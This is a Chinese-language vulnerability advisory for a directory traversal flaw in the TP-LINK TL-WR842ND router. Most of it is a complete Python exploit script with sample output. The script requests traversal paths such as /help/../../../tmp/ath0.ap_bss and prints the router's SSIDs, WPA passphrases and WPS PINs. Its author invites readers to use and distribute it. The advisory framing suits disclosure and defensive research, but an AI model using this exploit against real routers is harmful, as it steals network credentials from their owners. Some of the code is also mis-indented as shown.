发布日期：2013-05-29
更新日期：2013-05-30

受影响系统：

TP-LINK TL-WR842ND 3.12.22 Build 120424 Rel.39632
TP-LINK TL-WR842ND

描述：

---

BUGTRAQ  ID: 60206

TP-LINK TL-WR842ND是无线宽带路由器产品。

TP-LINK TL-WR842ND 3.12.22 Build 120424 Rel.39632n及其他版本存在目录遍历漏洞，远程攻击者可利用此漏洞获取敏感信息。

<*来源：Adam Simuntis
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python

'''
TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit
Adam Simuntis :: http://unixjail.com

If remote management is on you have full access to router configuration - if not and you're connected
to router network you can discover another configured SSID's.

  
Successfully tested against TP-LINK WR842ND
Firmware Version:   3.12.22 Build 120424 Rel.39632n

Feel free to use, modify and distribute.

.-(~)---------------------------------------------------------------------------------(adam@ninja)-
`--> python2 e.py ip:port
TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit
Adam Simuntis :: http://unixjail.com

:: Crafting and sending evil request..

-> ssid="some_network"
   !wps_default_pin=01010101
   !wpa_passphrase="secretpsk"


:: Search for another networks? (y/n)
> y

:: Searching..

:: Jumping for SSID 1..

-> ssid="another_network"
   !wps_default_pin=01010101
   !wpa_passphrase="another_secretpsk"

:: Jumping for SSID 2..


:: Jumping for SSID 3..


:: Jumping for SSID 4..

.-(~)---------------------------------------------------------------------------------(adam@ninja)-
`-->

'''

import requests,sys,socket
from time import sleep

data=''
data2=''
url=''

W  = '\033[0m'
R  = '\033[31m'
B  = '\033[34m'

#KISS
def parse_data(text):
    words = text.split()

        for word in words :
        if 'ssid' in word and 'ignore' not in word :
            print W+"-> "+B+"%s" %(word)
                if 'pass' in word :
                        print W+"   !"+R+"%s" %(word)
        if 'default_pin' in word :
            print W+"   !"+R+"%s" %(word)
    print W

def make_url(host,n):
     junk = ("http://%s/help/../../../../../../../../../../../../../../../../tmp/ath%s.ap_bss") % (host,n)
     return junk

if len(sys.argv) == 1 :
    print "Usage: %s router_ip:port (default port=80)" %(sys.argv[0])
    sys.exit()

url = make_url(sys.argv[1],0)

if ':' in sys.argv[1] :
    host = sys.argv[1].split(":")
else :
    host = sys.argv[1]

headers={
"Host" : host[0],
"User-Agent" : "Mozzila/5.0",
"Referer" : "http://"+host[0]+"/"  
}

print "TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit"
print "Adam Simuntis :: http://unixjail.com\n"

try:
    print R+":: Crafting and sending evil request.."
    print W
    data = requests.get(url,headers=headers).content

except requests.ConnectionError, e:
   print R+":! Connection error!\n"
   sys.exit()

if data :
    parse_data(data)
else :
    print B+":! Ups.. seems to be not vulnerable"
    print W

print "\n:: Search for another networks? (y/n)"
answer = raw_input("> ")

if answer=="y" or answer=="Y" :
    print R+"\n:: Searching.."
    print W

    for i in range(1,5) :

        print W+":: Jumping for SSID %s..\n" %(i)

        sleep(3)
        
        url = make_url(sys.argv[1],i)
        data2 = requests.get(url,headers=headers).content

        if data2 :
            parse_data(data2)
        else :
            print B+"-> Nothing..\n"
            
else :
    print W+"\n:: Bye!"
        
print

建议：

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厂商补丁：

TP-LINK
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.tp-link.com/en/support/download/

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